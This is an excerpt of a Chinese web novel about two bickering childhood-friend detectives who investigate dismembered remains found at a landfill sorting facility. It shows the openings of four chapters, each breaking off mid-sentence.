《刑侦:黎明之后》 1. 刑侦:黎明之后 《刑侦:黎明之后》全本免费阅读 《刑侦:黎明之后》 文/未见山海 晋江文学城正版首发 - 红蓝车灯闪烁,警笛声响彻整座南津关大桥,长路被堵得水泄不通。 支队内线连续发出协查通报:“蓝湖垃圾填埋场截获三包疑似人体组织碎尸,现场已封锁,请市局立即出警。” 刑事案件现场侦查,黄金时段争分夺秒,半刻耽误不得。 方惜亭摇开车窗,眼前是密密麻麻的红色车尾灯。 他焦躁向外张望,鞋底点住油门反复拍蹭,实在坐立难安。 半小时前,他们已经联系交警队协助疏通桥梁拥堵。 但前方事故,四车连撞,出入口几乎全部堵死。 接警时间分秒流逝,方惜亭心急如焚,望向副驾。 却见害他陷入车流中的罪魁祸首,齿间咬着烟,不紧不慢正摆弄手机…… 副驾男人身形挺拔,纯黑色立领冲锋衣配上黑色工装裤。 双腿塞进空间不足的前排空处,座椅调节各方面都不合适,却又不显首次入座的局促。 他额发掉下来些,鼻梁高挺拱起弧度,侧面轮廓在手机屏幕的光影之下,骨相更显几分优越。 要不是三天前与人打赌,自己猜错门卫大爷左脚出门。 谢序宁这个混蛋王八蛋,有生之年都绝不可能出现在他车里。 方惜亭担心侦查延误,耐心耗尽:“天生犯冲的倒霉鬼,遇见你准没好事。” 谢序宁专心致志回复信息,那时听他不爽,似笑非笑抬起眼来:“这也怪我?” 男人匀亭的指,轻轻点了下自己腕间表盘:“自己看看现在几点了?堵车是因为车祸,跟我有什么关系?” “怎么没关系?”方惜亭翻开手机新闻,拉取时间节点与他对质。 “队内19点结束工作,晚上回家休息,21点你来敲门,死缠烂打让我开车送你去青江水库钓鱼,22点接警,22:58分南津关才出得车祸。” 他气得不轻:“要不是因为载你绕路,在交通事故发生的十分钟前,我们早开过去了。” 话虽如此,说得有理,但…… “愿赌服输。”男人手指伸出窗外,抖落烟灰,又字字分明。 “必须当我一个月的司机,任凭差遣,何况当时非得猜人家先用左脚出门的人……是你。” 对,是他,他有罪! 方惜亭两手握住方向盘,双眼紧闭,用深呼吸平复心绪,努力控制自己不要做出踹他下车的举动。 因为被谢序宁挑衅,“戒赌”失败。 不仅全天待命做人司机,半夜被摇醒,还得任劳任怨帮他往鱼线上装饵。 本来难得下个早班,自己洗漱完毕,早早睡了。 结果谢序宁掐着点儿,背上渔具,精神抖擞地来他家‘哐哐’砸门。 碰巧支队长又到省厅参会,临走前,把队内事务托付他们两人打理。 结果代管首日,突发恶性刑事案件,值班同事电话打来,他还拎着鱼篓,陪谢序宁在水库里捞鱼…… “别着急。”桥梁中部,亮黄色的斑驳光影落在男人手背。 谢序宁掐了烟,废弃烟头用纸巾包裹,装进黑色上衣的口袋:“这不正想着办法?” 可是他能想出什么办法? 方惜亭嗤之以鼻,没抱希望。 谁料片刻后,自己坐在警用摩托车后座,戴着头盔,耳边是“呼呼”的风声闷响。 谢序宁喜欢极限运动,在应急车道上连压好几个弯,姿势都非常标准。 他们飞速驶离拥堵车流之中,期间因为车速过快,以致于绕过几个高架弯道后,方惜亭重心不稳,连续几次撞上男人结实的后背肌肉…… 因为肢体接触产生的不自在,让人有些难堪地瞥开眼。 但为安全起见,他又不得不小心伸手,指尖悄然扯住男人衣摆。 那时身后温热涌来,双臂力度收紧。 谢序宁视线下移,唇角上翘,脚下油门轰得更足:“抱紧了。” 双方隐约紧密的身影,后背衣衫被风吹得鼓起,桥梁之上的路灯明明暗暗。 警用摩托车迅速穿过事故发生点,赶往案发现场只花费十五分钟。 到达蓝湖垃圾集散点,空气中蔓延着高度腐败的酸臭气息。 谢序宁靠边急转,车尾猛甩,车身稳稳停靠在警戒线外。 负责外场巡查的同事注意到这边,用力招手朝他大喊:“老大,方副队。” 谢序宁骑在车上,张嘴咬下手套,又举手示意:“到了。” 男人右腿笔直修长,斜撑着地,不经意间显露的姿态,干净清爽。 他伸手拔下头盔,寒风撩开额间被汗湿的发,露出攻击性极强的俊朗浓颜。 方惜亭视线被吸引,待下秒回过神来,腹诽对方这时还有心情耍帅,简直看不了半点。 他翻着白眼撇开脸去,“嫌弃”两个字就顶在脑袋上。 而至本次案发,支队出警两组,正好是方惜亭和谢序宁带队。 他们到时,外部口供基本排查完毕,还剩发现碎尸的内场分拣流水线,以及外场垃圾存放点等待勘查。 谢序宁得知现场信息,倒显得大方:“内场归你。” 外场输入分拣流水线的那座垃圾山,人力收集线索可不是什么轻松事。 身旁组员听完,也点头应和:“内场确实轻松许多,苦力活儿还是让我们组来做。” 方惜亭听不得这话:“翻垃圾的苦力活我们组也没少做。”这时候还需要你让? 用来保护现场的防护衣就在脚旁,他赌一口气,正欲弯腰穿戴,后颈便被人拎起。 谢序宁手臂用力拽人过来,压低嗓音小声提醒:“刚刚……我看见你们组的人,已经进去了。” 话毕,男人还用下巴指指,那亮着白灯的二楼分拣中心。 “……”方惜亭反应不及,环视一周,察觉四下都是谢序宁的人,面色瞬时涨的通红。 他挣扎着摆脱男人桎梏,又挽尊反驳:“当着外人,我不驳你情面,这次算我让你。” 那时组员已经入场工作,唐突间再叫出来也不合适。 但下回再敢这样自作主张,替他安排,可就别怪自己翻脸无情。 方惜亭狠狠呲牙,试图恐吓,想要借此在气势上,压倒谢序宁那惹人厌烦的嚣张跋扈。 他只身前往分拣工作间,留下气恼背影。 闹着别扭的身形落在男人眼中,笑意微不可察蔓延开来。 谢序宁心情不错,确认方惜亭进屋后,才转头揽着组员的肩:“走,跟哥征战垃圾山去。” 那人乖乖跟上:“老大,怎么每次和方副队出来,翻垃圾和跳粪坑就都是我们的活儿?” 他显得疑惑:“平常轮到其他组,这些苦差事,我听说他们都抢着干呢。” “就是因为他们老抢活儿干。”谢序宁张嘴叫嚣,开始胡说八道:“全年办案就那么几个粪坑,他们组全跳了,别人跳什么?” 男人低头点了支烟,想压压这铺天盖地的泛酸臭气。 期间不经意地解释,把想‘让让他’的心情全藏起来,又大言不惭道:“哥得让他知道,下次再有粪坑,他未必跳得过我。” 谢序宁和方惜亭天生磁场不和,八字相冲,三句话聊不到一起就得干架。 市局各部门久仰大名,回回听闻好戏开场,支队门口都挤满来瞧热闹的人。 大家看那幼儿园式,又老夫老妻般地吵,憋急了眼也要规规矩矩挨坐一处。 嘴皮子麻利地能翻得起花,偏又没有想动手的意图。 辩证期间各式引经据典,翻找物证,旧账一页页清算。 连谢序宁小时候爬树,屁股缝被划破大洞,借了方惜亭裤子没还的这种事,都能被掰扯出来。 双方经常在小事上争吵计较,非得讨个公平,大家见怪不怪。 同组恋爱经验为零的队友,听闻谢序宁此番神操,顿觉清醒:“好家伙,怪不得每次大会,支队长都要表扬他们组能吃苦。”合着表现全让他们挣了? 谢序宁合理带动组员搜查热情,带队翻找还未及分拣的垃圾收容点。 方惜亭躲在楼梯间,偷盯他半晌。 看那倒霉鬼神采奕奕、张牙舞爪的样,便笃定对方又在说自己坏话。 由于父辈至交,两人自幼相伴长大,青梅竹马。 即使性情不合,翻脸多年,但了解对方的程度,也依旧遍布衣食住行的方方面面。 谢序宁那臭狗,只有在提起他时,才会露出那样一副嚣张欠揍的混蛋模样。 而自己不甘示弱,在嘴里咒骂几句,算作反击,绝不吃亏。 那时赶往二楼分拣间,冷白惨淡的白炽灯光已经让人感觉生理不适。 方惜亭在入门处与组员交接,又换上手套鞋套,看见分拣垃圾的黑色传送带已经停止运行。 内场酸腐气味更加严重,为保护现场,大部分物件在证物收集完毕之前,都不会对其位置进行挪动。 方惜亭进门就瞧见,那三只让人感官意识上就极度难受的黑色塑料袋。 袋身鼓鼓囊囊,很明显装着与肉类相关,弹性和紧实度都比较高的农副产品。 其中两袋传送至分拣中部,封口被人暴力扯开,另一袋则散落在地。 处理干净、切割成块,还带着泛黄的油脂脂肪,以及半根人类指骨,在放过血的红肉之下,露出被人凶残分尸的痕迹。 “发现残肢的第一目击人证,是分拣流水线的郑阿姨。” “今年53岁,从事此项工作已有二十余年,是首次经历这样恐怖恶劣的恶性刑事案件。” 负责摸排的同事上前告知:“现场总共发现三袋剔骨碎肉。” “经初步检查,除却头颅及四肢外,躯干部位应该全在这里。” “那半截引起分拣室内恐慌的手指,应该是意外混入,在发现断指之前,报案人都还以为只是没人要的废弃猪肉。” 方惜亭戴好口罩上前,小心检查了已经停止运转的分拣带。 除却因为惊恐而被打翻在地,散落出来的碎肉外,其余两只袋子,都还整齐摆放台面。 他随手一指:“这些是本来就放在一起的?” 队友点头确认:“根据了解,市区早中晚三次,都会派出自卸式垃圾车进入各社区,统一进行垃圾收容处理。” “垃圾车的出发时间分别是早6点、午14点、以及晚20点。” “每个时间段内的收容池都会及时清空,进入回收或焚烧填埋的环节,不会存余” “所以接警时间是晚22点的话,那就说明尸块是晚20点之后才被收走的?” 方惜亭有些吃惊:“那凶手的抛尸时间,在今天中午14点到晚20点之间?” 究竟什么人,青天白日,就敢这样大胆? 而且根据以往经验,常见的嫌疑人作案,抛尸都会选择夜深人静的当口,借以掩人耳目。 遇到这样反其道而行之的,不排除其反侦察意识极强,手段娴熟狠辣,以及并非首次作案的可能。 “垃圾被倾倒,再进入分拣带,相隔距离不远,说明抛尸时,这三袋碎尸大概率是被投入同一只垃圾桶内。” “填埋场这边无法确认垃圾来源的地区和方向吗?”方惜亭问。 队友听完,为难摇头,视线挪向窗外,示意他看:“说是垃圾车返厂,内容物就直接倾倒进入收容池内,再由收容池依序传送进入分拣带,进行人工分拣。” “几乎可以说,装卸车进入填埋场卸货,生活垃圾一旦混合后,亲 2. 刑侦:黎明之后 《刑侦:黎明之后》全本免费阅读 方惜亭血压飙升,躺回办公室还得猛按人中,好不容易缓过气来。 谢序宁那时还不知情,专心研究尸块来源,折返座位后递他一袋早餐。 谁知撞人枪口上,心意险进了垃圾桶。 只是担心浪费,方惜亭没扔出去,而是把餐袋递给隔壁新来的小同事,以表态度。 谢序宁不高不兴地瞥眼:“……” 男人看他不吃,还顺手给了别人,便强调:“特地托食堂阿姨给你留的豆沙包,最后一个,我亲自去拿的。” 哟哟哟,他还亲自去拿,屈尊了是吧! 这是从哪里伸出来的皇帝手,这么高贵,镶着金子了? 方惜亭冷笑,又白眼他:“谁要你管,翻过垃圾的手,死臭。” “你……”好心当成驴肝肺,谢序宁遭人嫌弃,被噎一句。 要知道能和食堂阿姨打好关系,在并不全天开放的市局食堂里,托人留下一只白白胖胖、香甜软糯的豆沙包,是多么困难的事情吗? 自己因此承受了多少热切的相亲攻击? 在被反复追问:“小谢,我们家雯雯说你总不回她信息是怎么回事?”的情况下。 还得赶在收队间隙,抽空去商店挑选几条丝巾当做礼物,才有资格获得被单独预留一只豆沙包作为早餐的殊荣。 结果方惜亭就是这么对他的? 谢序宁气得不行,未及发作…… 又见方惜亭起身,完全无视他地拿着手里的文件袋拍拍桌面:“开会。” 男人憋了满肚子的话硬咽回去,险吞出内伤。 他低头看一眼自己的手,又凑过鼻尖去嗅了嗅……刚才清理周身污脏时,分明拿肥皂搓了十余遍,怎么可能还臭? 方惜亭这牙尖嘴利、爱咬人的猫,一天不气他,浑身难受是吧! 男人手里攥着的紫薯糕还冒着热气,谢序宁嘴凑过去,又失了胃口。 他懒得再吃,干脆用力一捏,把那早饭揉成团,“嗙”地声扔在桌面,起身拿了资料袋快步跟上。 办公区靠后的会议厅内,两组成员团团围坐,气氛凝重。 由于碎尸发现点环境潮湿,赃物混杂,袋子早已经受到污染,很难提取出任何有用的物证信息。 而案件虽已做封锁,但分拣场内人多眼杂,一些细微风声恐怕早也传了出去。 市民人心惶惶,随之而来的办案压力,也悄无声息地围绕着整个刑侦支队。 “已将尸块送至法医室检测,凶手作案手法娴熟、心理素质极强。” “行凶后,以非常专业的切割利器,将尸体分解成大小一致的肉块,并剔骨剥皮,手段凶残。” “根据犯罪心理学分析,能达到这种程度的碎尸,大概率不是首次作案。” “且在仅仅只有碎肉的情况下,若不是意外混入一根断指,我们可能连受害人的性别、年龄都很难进行分辨。” “选择在午14-晚20点抛尸,还把三袋碎尸扔在位置较近,或同一只垃圾桶内。” “在头颅及四肢还未被发现的前提下,不排除凶手蓄意挑衅警方的行为……” 方惜亭重点培养的新进组员,上台总结案件信息。 由于首次参与侦办,情绪紧张,以致于抱住文件夹的双手微微有些发抖。 对方话没讲完,谢序宁便懒洋洋地举起手来:“我有异议。” 他刻意把调子拖得很长:“方副队,有关您组刚刚的案情陈诉,我有异议。” “……”方惜亭视线望过去,咬紧牙关忍住没骂。 他的小组成员是刚入职的新人,自己亲自在带。 对方经验不足,但需要积攒的空间和平台,所以今天是特意推他上台。 没想到谢序宁这个混蛋王八蛋,连他身边的人都不放过,新人也要欺负。 抢人家副驾,不乐意人家吃他拿的豆沙包,现在还要当众指出对方总结的错处,击碎别人自信心? 方惜亭缓缓呼出一口长气,努力压制厌烦,礼貌伸手示意:“谢副队的高见,我们洗耳恭听。” 谢序宁双手插兜,慢吞吞地从围坐的人群里起身。 他192cm的身高,鹤立鸡群,黑色工装裤里修长的腿,半步就能迈至方惜亭的眼前。 两人身高差得不多,但方惜亭从小就比谢序宁矮半个头。 在两人同龄且有“男人尊严”意识觉醒的那一刻,他就开始努力吃饭、运动、喝牛奶…… 好不容易在停止发育前,身高窜到182cm,却也还差那倒霉鬼10cm。 尤其又在案情细节梳理的过程中,谢序宁质疑任何与方惜亭有关的事,司空见惯。 同事们见怪不怪,只认真倾听他们各自的办案思路,以及见解。 谢序宁踏步而来,猛地逼近,头低下来时,鼻尖几乎快要抵住方惜亭的额头。 突如其来被拉近的距离,像要接吻。 方惜亭吓了一跳,在突然面颊发烫、心率变快的同时,他正要躲开。 可谁知,谢序宁只是弯腰拿了自己手中紧撰住的一支黑色马克笔。 “首先,根据碎尸娴熟度、抛尸时间、抛尸地点……” “凶手并非首次作案,板上钉钉。” “其次,被害人的指骨能被碎到只剩半截,却又在抛尸时,这么大意地混入被剔骨剥皮的躯干碎肉之中。” “这样可能性有多少?” “并且,假设最难被碎掉的头颅和四肢,都已经被凶手处理掉。。” “那么就这三袋碎肉,他还有必要特意拎出来,再扔进可能会被发现的垃圾桶里吗?” “而若是头颅和四肢还未被处理,那对方又需要这么着急的,必须要先扔掉这三袋碎肉吗?” 所以这三袋碎肉出现的时间和地点,都非常奇怪。 极有大可能是凶手故意而为之,使警方发现,再借以挑衅。 他特意扔出三包碎肉,又怕垃圾分拣站当猪肉处理掉,所以故意混入半截人指。 目地就是为了享受这种,警方知晓有人遇害,却又因线索不足,而始终无法将凶手捉拿归案的快|感。 台下谢序宁组,有队员应声:“所以只要混入人指,那么这袋碎肉,无论是被拾荒老人捡走,还是进入垃圾分拣站,就都会被人发现。” “且在今年年初,云京市刚刚发布一则预计在七月份,往蓝湖垃圾场引进自动化分拣高精仪器的新闻,凶手会选在这个当口作案,是随机还是……” “不管随机作案还是预谋作案,至少感谢他给了我们半根断指。”谢序宁笑起来。 “如果不是这半根断指,只拿一团失去皮骨的碎肉,恐怕我们连想要通过骨龄测算出受害人的一些基本信息,都很困难。” 方惜亭抿着唇,听他分析,心里认可,嘴上却不肯服输。 那时男人显摆完,低头贴来他耳边,嗓音沉沉道:“怎么样?” 谢序宁自小学习就好,从不埋头苦读,却次次都能考取第一。 而方惜亭笨鸟先飞,总是刻苦,大大的书包里始终要比别人多装几本习题集。 但又不得不承认,谢序宁在某些方面的思维理解能力,确实要比自己严谨。 如果断指的意外混入和刻意为之,被他们混淆,那么后续对凶手的行为形象刻画,也会出现较大误差。 新人意识到自己的错处,胆小怯懦地后退一步。 他站到白板后端,把位置让给谢序宁:“谢,谢副队,您来。” 谢序宁孔雀开屏,将人揽过来:“第一次上台,勇气可嘉,错处分析不多,值得鼓励。” 他虽那样说着,但视线却紧盯着方惜亭,挑衅的眼尾翘上去些:“就是不知道你们方副队,是怎么教的你。” “在人证、物证,各项线索都不充足的前提下,花费时间分析这些有的没的,没太大作用。” 不……不是这样的! 新人急切,又结巴着辩解:“方副队教的很好,是我学艺不精。” “是吗?”谢序宁捏着那家伙的肩。 此番,由外人瞧着,分明是他们两人的纵横博弈, 但奇怪的是,自己和方惜亭对视的目光,却几乎快要喷射出高温火花。 “那你说说你们方副队的教学成果。” “现在比起凶手的作案动机,我们最迫切需要确认的重点,究竟是什么?” 在尸源都没能确认的前提之下,最重要的事情当然是确认尸源。 以受害人为圆心,从社会关系和受害前的活动轨迹入手排查,这当然是个很简单的问题。 方惜亭并不担心自己带的新人回答不出。 但不知是否谢序宁给人心理压迫感过强的缘故,以致于让人自我怀疑,这时说什么都是错的。 在“对方不可能提那么简单的问题来考我”的前提下,更不敢随意回答。 方惜亭常年被谢序宁这样的心理战术压制,看不过去,挺身而出把那孩子护到自己身后。 男人疯狂逼近的视线,在捕捉到自己的瞬间戛然而止。 谢序宁眸色清亮,眼睫几乎都要和方惜亭贴在一处。 双方气息温热,呼吸深深浅浅地紧密交递着…… 谢序宁看方惜亭终于按捺不住,面上笑意更深:“方副队想出头?” 方惜亭白眼翻得眼疼:“欺负新人好玩吗?” 副驾明明给你让了,豆沙包虽然给了他,但人家也没来得及吃。 谢序宁你心胸狭隘,仗势欺人,斤斤计较也别针对的太明显。 “嗯……倒不怎么好玩。”男人轻吸口气,认真点评:“但分析的重点确实是错了,我也是看在我们多年的情谊,才特地指正。” 男人贱兮兮地:“你知道我平时不爱管这些事。” 方惜亭恨不得打他:“你的提问,要不要我替他回答?” “如果是方副队回答的话,那我得换一个问题。” 谢序宁没拒绝,反而若有所思道:“但我不能白动脑筋,要不要赌?” 又赌? 方惜亭险笑起来:“你先出题。” 谢序宁绝不让步:“是不是怕输,不敢赌?” “……” 那时明知是个圈套,两名“赌徒”却互不低头,疯狂下注。 方惜亭仿佛忘了,自己刚输给谢序宁,还要做他一个月司机的事。 当下被人架在火上烤,气血翻涌起来,自己拍桌应下:“赌。” 谢序宁顺势而入:“就赌你车的使用权,你要答不上来,半年之内,你车什么时候开,什么时候停,谁能坐,谁不能坐,通通我说了算。” 那副驾的位置,谢序宁要定了。 双方气势汹汹 3. 刑侦:黎明之后 《刑侦:黎明之后》全本免费阅读 那男人,像极了并不存在,但却跟自己无理取闹的对象。 方惜亭无语,盯他半晌,嗤笑出声:“呵……” 两人互相都没好话,等到新同事方便结束后赶来,埋头坐进车里。 瞧见谢序宁也在,怕得呼吸声都立刻微弱下来。 方惜亭见人到齐,驱车驶离。 他不是会纵容错处的性情,但也比不得谢序宁跋扈,还会当众发难。 男人乘车路上闲不住,拿笔写写画画,不知在研究什么。 到后来无聊,又拿人玩笑:“嘿,新人,叫什么名儿?” 小同事忽被点名,打了个哆嗦:“我,我叫于恒。” “于恒,这名儿还行。”谢序宁齿间咬着烟,消停不了半刻,定要惹些事来:“跟你们方副队这么久,没学到什么东西吧。” 他说:“以后有什么不懂的,可以直接问我。” “啊,这……”于恒待方惜亭自然一片赤诚丹心,绝不背叛。 但也惊讶于谢序宁当面就敢如此挑衅,他是真不怕方惜亭翻脸,又或者是关系太好,所以可以随意玩笑? 小同事刚来不久,把不准他们两人相处的习性,也苦于搅入其中。 却正好,方惜亭手机响起来,及时打断对话,救他于水火。 “亭亭,法医室的尸检报告出来了。” “受害人性别女,骨龄测算在16-25岁之间,尸体解剖后放血,死亡时间不足24小时。” “也就是当天杀完,直接抛尸了?”谢序宁语调淡然,接过话来。 方惜亭的手机在他手里,扩音是顺手打开的。 帮忙接起的动作过于熟稔,像是拿他自己的东西。 于恒躲在背后偷看,察觉这两人关系匪浅,于是在笔记本的最后一页写上他们名字,再默默打了个加号。 谢序宁摸摸下巴:“胆子是真大啊,直接杀,杀完分尸,完事儿怕警方发现不了,抛尸时还特地贴心地给你塞了半根手指头进去。” 他问手机对面:“派出所的失踪人口备案,核对过了吗?” “核对过了,根据年龄比对,符合查询条件的人不多。” “尤其加上法医室给的死亡时间,以24小时为基准,在这个时间段内报案且符合年龄的失踪人口,数量为零。” 为零?有点意思…… “我知道了。”谢序宁挂掉电话。 那时手机放回原位,方惜亭没什么表情。 好像也默认了私人物品被对方使用,但并不感觉冒犯的行为。 谢序宁拿取随意,他头也不回地喊:“新人,替你们方副队考你几个问题。” 于恒那时沉浸于分析两人关系,没反应过来。 只听见有人点名,便下意识应了声:“是,我在。” 方惜亭察觉他心不在焉,视线微微往后瞥来。 谢序宁也笑了声,身子往旁侧倚去,快贴他耳朵上:“方副队,你们组的新人,专注力不太行呀,要不我考考你?” 于恒的脸,瞬时红得通透。 谢序宁不等回答,自顾自地:“请问,根据刚刚的通话内容,我们能得出什么最新信息?” 男人突如其来,随时随地大小考。 优等生的游刃有余,让人恨不得立刻把他捏爆、揉碎、咬烂…… 方惜亭翻着白眼,分明不想理会:“法医给的年龄段是16-25岁,但根据派出所未能及时接收到报案信息这一点,我们大可把年龄上调两岁,划定在18-25岁之间。” 他好像是特意解释给于恒听:“因为如果是16-17岁,这个年龄段大概率还是学生,在有监护人的条件下,不存在失踪24小时,家人还不报案的情况。” “另外,根据这一点,我们还可以划定,对方大概率是孤身前往云京市打工的外地人。” “工厂招聘要求18岁以上,符合独居条件,身边无亲友,所以24小时内被人杀害,也未能及时发觉。” 谢序宁无所谓地耸耸肩,一脸“还不错嘛”的模样,漫不经心地给他鼓了个掌。 随即又转过头来问于恒:“听清楚了吗?” 于恒手里的笔记本仓促落地,又捡起来捂在胸口:“听,听清楚了。” 谢序宁:“给支队回个电话,告诉他们这两点重要信息。” 受害人,女,年龄应该在18-25岁。 从外地来云京打工,独居。 车辆行驶至蓝湖垃圾场,熟悉的酸腐气息持续扑鼻。 谢序宁询问了厂区负责人,出示证件要求提取监控,又得知每辆垃圾车在返厂时,通过厂区门口,都会进行车身测重。 这倒是个意外收获,方惜亭认真记下。 如果车身重量这个变量能成定量,那么在得出车辆装载的垃圾重量,倾倒顺序,再结合监控运转,以及传送带上人工分拣每小时的处理进度。 应该是可以得出一个大致的嫌疑车范围。 他正想着,又碰巧听见身后路过的分拣工在议论其他。 “早就说过,机器不能取代人工。” “你说要是换了他们花好几千万,引进的那什么自动分拣机器。” “就那些硬邦邦的家伙,它们能及时发现这些断指碎尸吗?” “昨天要不是我们人工作业,眼疾手快,可要白白死个人哩。” 那是午餐时间,阿姨们正要去食堂清洗用餐。 方惜亭带着于恒站在分拣室楼下,等待提取监控录像的谢序宁折返。 忽闻有人议论昨日碎尸案,他及时将人拦下:“您好,云京市公安局在职刑警。” 自己有话要问,直到谢序宁匆匆返回。 瞧见方惜亭趴在窗台边上,认认真真往笔记本上记录什么。 因为完全了解对方的行为举止,那时一眼就知:“有新线索?” 于恒未及答话,方惜亭瞥见他来,便往前挤:“谢序宁,你看这份口供。” 在酸腐气息中,忽然扑来身边的清甜山茶香,让男人片刻失神。 方惜亭低头翻找信息的指,落在那一排排娟秀苍劲的字体之上,提醒他看。 案件信息记录的干净、工整,字体并不难以辨认。 可谢序宁的视线,却有些不受控制地落在他额前的发、卷翘的眼睫,精致纤巧的鼻尖,和微微开合的唇角…… 因为细微的身高差异,方惜亭微低下头。 头顶松软的发,正好轻轻贴在谢序宁的下巴,蹭得他心痒。 “据厂区阿姨所述,那则七月份要引进高精仪器的新闻,确实对她们产生较大影响。” “目前蓝湖垃圾填埋场,总共三间分拣厂房,每间厂房四条传送带,每条传送带三班倒,也就是共有36个工作岗位。” “如果高精仪器一旦引进,取代人工,每间厂房从12个工作岗位,直接削减为1个。” “工作强度大大降低,无需手动,只要早晚按时进行检查机器是否正常运转即可。” “也就是说,除去被留下来的这4个人,还有32个人都会失去现有的工作岗位。” “这个问题,在消息被放出的当下,就引起了老员工们的强烈反对,但高层并未给出回应,引进项目仍在推进。” “而就在昨天碎尸案发后,厂房工人忽然集体上书,抵制高精仪器引进。” “他们表示机器并不能取代人工,无法多元化分析脏物来源,昨天若不是依靠人工分拣,这世间便会又多一条冤魂。” 谢序宁:“……” 这样的理由,自然不能阻止填埋场放弃引进自动化机械的安排。 但尸体出现在这个节点,还如此巧合地成为大批即将失业员工,以此作为反对新技术入厂的理由,事情就变得有那么一丝微妙。 难不成真是厂区工人刻意为之? 方惜亭产生这样的怀疑,同样也改不掉任何事情都想要和谢序宁分享的心情。 那时男人半晌没回应,自己突兀反应过来,抬头去看,瞧见他似笑非笑,视线紧盯自己的眼…… 方惜亭‘啪’地声合上笔记,面色沉下来,一副‘怎么是你’的模样立刻离人八尺远。 他前后反差过大,但下意识的身体习惯骗不了人,喜欢和谢序宁亲近的基因刻在骨子里。 男人被惹得发笑,唇角轻抿向他靠近:“我同意。” 对方刻意放软的声调像是在哄,逗弄小孩儿的语气,让方惜亭愈发气恼。 他真是疯了,才会挤到谢序宁的眼跟前和他说这些。 方惜亭:“拿个监控录像拿这么久?” 他试图遮掩自己的身体语言,借机转移话题时还不忘指责那男人,办事效率实在太低。 好在谢序宁心情不错,倒不计较。 只从衣兜里掏出一张折起来的纸:“当然不止。” 方惜亭接过那物,打开来看,又听见谢序宁说:“案发当天,每辆车返厂时的测重,返厂时间,绕的哪条路,你哥都打听的清清楚楚。” “还有,根据晚20点车辆出发,22点传送带发现碎尸报案,时间间隔仅两小时。” “而第一辆车,21:03分才折返,期间陆陆续续,在案发时间前的返程车共有8辆。” “这部分绕城车辆,和其他车辆同时出发,却最早返厂,说明他们绕城的路线,就在这片蓝湖西城的范围之内。” 谢序宁像魔术师,讲解过程中,不知从哪里掏出一份云京市平面图。 他用红色马克笔,根据自己前期统计到的这8辆垃圾车的绕行路线,再划出一片面积不大的抛尸区域。 “嫌疑人作案所在地,基本可以锁定在这片地区。” “刚才我也拿到了车身净重,根据计算,前八辆车所运载的垃圾重量分别是,五百三十斤、四百七十二斤,六百零四斤等。” 他们把u盘接入电脑,调出那段案发监控。 原本沉闷压抑的狭窄分拣室内,工人坐在各自的工位,埋头作业。 直到那三包黑色塑料袋出现在监控画面时,众人的心,才猛地揪起。 方惜亭看着分拣工人,手脚麻利的扯开第一袋,确认是碎肉后,又顺手扯开第二袋。 结果忽然间,那碎肉袋子从人手中飞出去,混着断指和脂肪的尸块撒了满地。 阿姨也被吓摔在地上,惊动旁侧其他工友上前查看。 谢序宁按了暂停:“断指放在碎肉最上层,不可能是意外混入,凶手有意为之。” “我们现在假设,如果他的目地,就是为了让这件碎尸案在分拣场被发现,那么首先,这个人肯定熟知工人分拣,是一定会扯开口袋确认内物的流程。” 所以他的身份可能是,工友?或者工人亲属? 谢序宁:“其次,如果他的恶行,必须要在分拣场被发现,那么他的抛尸时间……” 要避免被拾荒老人捡走新鲜碎肉,那么需要准确把握垃圾车到达的时间。 20点,车辆准时从厂区出发,那么抛尸时间应该是在2 4. 刑侦:黎明之后 《刑侦:黎明之后》全本免费阅读 医生说的……医生说的关他什么事?他又不是谢序宁的老婆。 难道就因为输掉一把赌注,自己还得照顾这衰神一日三餐,生活起居不成? 方惜亭一失足成千古恨,骂骂咧咧。 竟也拿那擅自闯入自己独居卧室的人,毫无办法。 他家开放式厨房,瞧眼过去便是常用的,冰箱也用冰箱贴细心装扮过。 由于对生活品质要求较高,口味挑剔,不像谢序宁用水煮白菜,猪食都能咽得下去。 但那男人肠胃不好,需要调养,也是事实。 他们做刑侦的,尤其要跑现场、出外勤,三餐不规律。 加上谢序宁这厮闲散惯了,也不爱惜自己的身体,工作之余时常泡面打发。 因为担心他胃出血,又进医院,方惜亭忍着把辣椒油全倒进他碗里的冲动。 转头拉开冰箱门,把自己昨天提前熬好的鸡汤,拿出来加热当做汤底。 砂锅里小火化冻,浓稠鲜香的气息,很快四下弥漫,缓缓钻入谢序宁的鼻息之中。 男人趁他忙碌,那时背对着,自己才有机会认真打量。 除却原本温馨的原木风装修、以及水晶花瓶里插放着几支粉白渐变的艾莎玫瑰外。 其中最吸引谢序宁的,还是要数方惜亭本人。 少年唇红齿白,模样没太变过,完全等比例放大。 浓密松软的黑发之下,遮掩着,又露出些像精灵一样粉白色的耳尖。 因为刚起床,睡衣没换,宽大的藏青色T恤套在身上,清瘦身形在空荡荡的衣摆里来回摇晃。 尤其那腰,恐怕他一只手就能…… “吃饭。” 男人心猿意马,正走神时,被方惜亭冷冰冰地声线,拉回现实。 那少年不解风情,碗筷被重重拍在餐桌之上,面汤里还冒着热腾腾的白烟。 谢序宁慢条斯理地坐过来,看方惜亭也端着餐盘,到他对面。 只不过两人用餐习惯差异较大,自己是中式热汤面,而对方则是全麦吐司配果酱。 谢序宁完全抛弃,方惜亭恨他恨到甚至不愿意和他吃同一锅面的理由。 反而角度清奇地问:“你不吃面?特地给我煮的?” 方惜亭不耐烦地咬着面包,眼皮都懒得抬:“这不是你自己要吃的吗?” 他进门倒是不客气,张嘴就把菜给点了,当这里是楼下面馆呢?简直可笑。 对方白眼快翻到天上去,可谢序宁心里却还美滋滋的。 那男人想:原来只是因为我要吃,他也会特意开火给我做呀! 明明嘴上说着,恨我恨得要死,结果还不是偷偷担心我的身体? 自己吐司配果酱,三分钟就能做出来的早餐,因为他一句话,就心甘情愿折腾了十几分钟才煮出来的鸡汤面? 看来我在他心里的分量还是…… 谢序宁摸摸下巴,心情雀跃起来。 他埋头“呼呼”吃着,很快用完了一碗汤底金黄鲜香的汤面。 而方惜亭吃得稍微慢些,起身清理桌面时,还顺手收走了他面前的碗筷。 小家伙十指纤纤,腕间细白,匀亭的指节处还泛着淡淡的粉。 谢序宁无意瞥见那手,满身的男性荷尔蒙险些没能抑制得住。 他必须调动全身理智,才能忍着没一把按住那手,然后握在掌心里细细摩挲。 男人端坐餐桌前,内心已经与人牵手无数遍。 他努力按下冲动情绪,缓缓吐出心中急火,哪怕只是想想对方的小手,都觉得好摸。 等到方惜亭收好碗筷,返回二楼卧房换好工作警服,二人才一起到达地下停车场。 谢序宁自觉拉起安全带,又拿手指擦了擦自己单人毕业照的摆台。 